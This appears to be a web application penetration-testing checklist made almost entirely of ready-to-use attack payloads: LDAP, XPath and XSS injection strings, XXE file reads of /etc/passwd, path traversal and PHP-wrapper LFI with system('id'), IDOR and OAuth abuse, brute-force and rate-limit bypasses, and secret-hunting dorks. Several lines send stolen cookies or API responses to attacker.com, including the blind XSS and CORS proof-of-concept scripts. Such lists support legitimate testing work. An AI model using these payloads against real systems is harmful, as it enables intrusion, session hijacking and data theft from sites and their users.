WEB APPLICATION
VAPT CHECKLIST

// Authentication bypass *)(uid=*))(|(uid=* admin)(&) admin)(|(password=*) *)(|(objectclass=*)) // Blind extraction - enumerate characters *)(uid=a* → returns users starting with 'a' *)(uid=ad* → continue character by character // Full LDAP filter bypass user=*)(|(cn=*) pass=))%00 // Extract all users *)(|(cn=*))%00 *))%00 // DN injection admin)(|(userPassword=*) *)(objectclass=*))(|(objectclass=*

// XPath 1.0 bypass ' or '1'='1 ' or 1=1 or ''=' ") or "1"="1 admin' or '1'='1 // Extract node names ' or name()='user' or '1'=' ' and substring(name(/*[1]),1,1)='u' or '1'='

<script>alert(document.domain)</script> <img src=x onerror=alert(1)> <svg/onload=alert(1)> // Blind XSS (fire when admin views logs) "><script src=//attacker.com/xss.js></script> <img src=x onerror="var x=new XMLHttpRequest();x.open('GET','//attacker.com/?c='+document.cookie);x.send()"> // Polyglot javascript:/*--></title></style></textarea></script></xmp> <svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'> // XSS via file upload (SVG) // Upload a .svg file containing: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <rect width="300" height="100" style="fill:rgb(0,0,255)"/> </svg>

// URL hash-based http://target.com/page#<img src=x onerror=alert(1)> http://target.com/page#<svg onload=alert(1)> // location.search-based http://target.com/page?search=<script>alert(1)</script> // postMessage-based // Craft a malicious page that sends: window.opener.postMessage("<img src=x onerror=alert(1)>","*") // AngularJS sandbox escape {{constructor.constructor('alert(1)')()}} {{$on.constructor('alert(1)')()}} {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} // DOM clobbering <form id=x><input id=attributes></form>

// File read <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root> // Windows <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]> <root>&xxe;</root> // /etc/hosts <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hosts">]> <stockCheck><productId>&xxe;</productId></stockCheck>

// Numeric ID manipulation GET /api/user/1001 → change to /api/user/1000 GET /invoice?id=5432 → change to /invoice?id=5431 DELETE /api/post/99 → try another user's post ID // UUID/GUID (harder but possible) GET /api/orders/a4b12c3d-... → find other UUIDs via leakage // Parameter pollution GET /api/profile?userId=1001&userId=1000 // HTTP method switching POST /api/user/1001 → PUT /api/user/1000 // Encoded IDs base64: dXNlcjoxMDAx → decode → user:1001 → change to user:1000 → encode // Mass assignment / JSON parameter abuse {"id": 1001} → change to {"id": 1000} {"userId": "me"} → change to {"userId": "admin"}

// 1. Open redirect in redirect_uri /oauth/authorize?client_id=X&redirect_uri=https://attacker.com/callback // 2. State parameter missing (CSRF on OAuth) // No state= parameter → forge auth request → steal code // 3. Authorization code interception // Referrer header leaks code to third-party resources on callback page // 4. Token leakage in browser history (implicit flow) // Token in URL fragment → logged in browser history // 5. Scope escalation // Request: scope=email // Replay with: scope=email%20profile%20admin // 6. PKCE bypass // code_challenge_method=plain → weak protection // 7. Account linking abuse // Link attacker-controlled email to victim account via OAuth // 8. JWT none algorithm in ID token // See JWT section

// Basic ../../../etc/passwd ../../etc/passwd ../etc/passwd // URL encoded ..%2F..%2F..%2Fetc%2Fpasswd %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd %2e%2e/%2e%2e/%2e%2e/etc/passwd // Double URL encoded ..%252F..%252F..%252Fetc%252Fpasswd // Unicode / UTF-8 ..%c0%af..%c0%afetc%c0%afpasswd ..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd // Null byte (old PHP) ../../../etc/passwd%00.jpg // Windows ..\..\..\windows\win.ini ..\..\..\..\windows\system32\drivers\etc\hosts %WINDIR%\win.ini // With prefix bypass (if app adds prefix) ....//....//....//etc/passwd ....\/....\/etc/passwd // Absolute path /etc/passwd C:\windows\win.ini

// Basic ?page=../../../etc/passwd ?file=../../../../etc/shadow // PHP Wrappers ?page=php://filter/convert.base64-encode/resource=index.php // Read PHP source ?page=php://filter/read=string.rot13/resource=index.php ?page=php://input // with POST: <?php system('id');?> ?page=data://text/plain,<?php system('id');?> ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+Cg== ?page=phar://./upload/evil.zip/shell // PHAR deserialization // Null byte bypass (PHP < 5.3) ?page=../../../etc/passwd%00 ?page=../../../etc/passwd%00.php

// Host on attacker.com: <script> var req = new XMLHttpRequest(); req.onload = function() { // Exfil response data fetch('https://attacker.com/steal?data=' + btoa(this.responseText)); } req.open('GET','https://target.com/api/user',true); req.withCredentials = true; req.send(); </script> // Fetch API PoC <script> fetch('https://target.com/api/profile', {credentials: 'include'}) .then(r => r.text()) .then(data => fetch('https://attacker.com/steal?d='+btoa(data))); </script>

// 1. Missing Security Headers (check with curl -I): Strict-Transport-Security (HSTS) Content-Security-Policy (CSP) X-Frame-Options X-Content-Type-Options Referrer-Policy Permissions-Policy X-XSS-Protection // 2. Exposed admin interfaces /admin /phpmyadmin /wp-admin /manager (Tomcat) /actuator (Spring Boot - exposes /actuator/env, /actuator/heapdump) /console (JBoss/WebLogic) /.git/ (source code exposure) /.env (environment variables) /swagger-ui.html (API docs exposure) /api-docs /graphql (introspection enabled) // 3. Default credentials admin:admin (phpMyAdmin, routers) tomcat:tomcat (Tomcat manager) admin:password (various) elastic: (Elasticsearch no auth) // 4. Directory listing enabled // Check: response contains "Index of /" // 5. Sensitive files robots.txt (may reveal hidden paths) sitemap.xml crossdomain.xml .htaccess backup.zip / backup.tar.gz /WEB-INF/web.xml /META-INF/

// Basic ?next=https://attacker.com ?redirect=//attacker.com ?url=https://attacker.com // Bypass whitelisting ?url=https://target.com.attacker.com ?url=https://attacker.com?target.com ?url=https://target.com@attacker.com ?url=https://attacker.com/target.com ?url=\/\/attacker.com ?url=%2F%2Fattacker.com ?url=%5C%5Cattacker.com ?url=https:%252F%252Fattacker.com ?url=javascript:alert(1) // for XSS ?url=data:text/html,<script>alert(1)</script> // Protocol-relative (browser resolves to https or http) ?url=//attacker.com // CRLF + redirect ?url=https://attacker.com%0d%0aLocation:https://evil.com

// Test with modified object: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";} // Magic method abuse: __wakeup, __destruct, __toString // Craft objects that call dangerous functions on deserialization

// 1. Price Manipulation // Modify price/quantity in POST body before checkout // price=100 → price=-100 (negative price = credit) // quantity=1 → quantity=-1 // Apply coupon multiple times // 2. Workflow Step Bypass // Skip payment step: go directly from cart to /order-confirmed // Replay POST without payment verification // Modify order status in request // 3. Coupon/Promo Abuse // Apply same coupon repeatedly // Apply multiple conflicting discounts // Use expired coupon with modified date // 4. Race Condition // Double-spend by sending concurrent requests // Two simultaneous "withdraw" API calls // Use Burp Repeater → send group in parallel // 5. Limit Bypass // Transfer more than account balance // Integer overflow: quantity=9999999999 (overflow to small number) // Submit form with negative values // 6. Privilege Escalation // Change role=user to role=admin in API call // Modify account_type=premium in request // 7. Two-Factor Auth Skip // Complete first step, directly access post-2FA URL // 8. Mass Assignment // Extra JSON fields in profile update: // {"name":"test","is_admin":true,"credits":9999}

// Full introspection query: {"query": "__schema { queryType { name } types { name fields { name type { name } } } }"} // Simple type listing: {"query": "{__schema{types{name}}}"} // Get all queries: {"query": "{__schema{queryType{fields{name description}}}}"} // Bypass disabled introspection: {"query": "{__schema\n{queryType{name}}}"} // newline bypass {"query": "{ __type(name: \"Query\") { fields { name } } }"} // __type still works

// 1. Basic brute force - no lockout POST /login → 1000 requests with password list // 2. Rate limit bypass via headers X-Forwarded-For: 1.1.1.1 → rotate IP each request X-Real-IP: 2.2.2.2 X-Originating-IP: 3.3.3.3 CF-Connecting-IP: 4.4.4.4 // 3. Rate limit bypass via null byte in username username=admin%00 // 4. OTP brute force (4-6 digit = 10,000-1,000,000 combinations) // Send rapid requests with codes 0000-9999 // 5. Password spray (avoid lockout) // Try 1 password against all users → rotate // 6. Padding attack on OTP // Change: {"otp":"1234"} to {"otp":["1234","1234",...]} // 7. Race condition on OTP // Submit correct OTP in parallel → bypass single-use limit // 8. Username enumeration via timing

// Step 1: Enumerate subdomains subfinder -d target.com -o subs.txt amass enum -d target.com -o subs.txt assetfinder target.com // Step 2: Check for dangling CNAME for sub in $(cat subs.txt); do dig $sub CNAME +short done // Step 3: Check if CNAME target is claimable // Error indicators per service: // GitHub Pages: "There isn't a GitHub Pages site here" // Heroku: "No such app" // Fastly: "Fastly error: unknown domain" // Shopify: "Sorry, this shop is currently unavailable" // AWS S3: "NoSuchBucket" // Zendesk: "Help Center Closed"

// Source Code / JS Files // Search for keywords in JS bundles: api_key, apikey, secret, password, token, auth, AWS_ACCESS, PRIVATE_KEY, bearer, passwd, credential // Common files to check: /.env /.git/config /config.php /database.yml /settings.py /application.properties /wp-config.php /web.config /appsettings.json /config/database.yml /package.json (may expose internal module names) // Error messages // Verbose stack traces with DB connection strings // Internal server paths in error messages // API Responses // Returning sensitive fields: SSN, card numbers, passwords (hashed or plain) // Extra fields in JSON not shown in UI // Backup / old files /index.php.bak /config.php~ /admin.php.old /backup.sql // Comment in HTML source <!-- DB: mysql://root:password@localhost/app --> <!-- TODO: remove test API key: sk-prod-abc123 --> // Google Dorks site:target.com filetype:sql site:target.com filetype:log site:target.com "DB_PASSWORD" site:pastebin.com target.com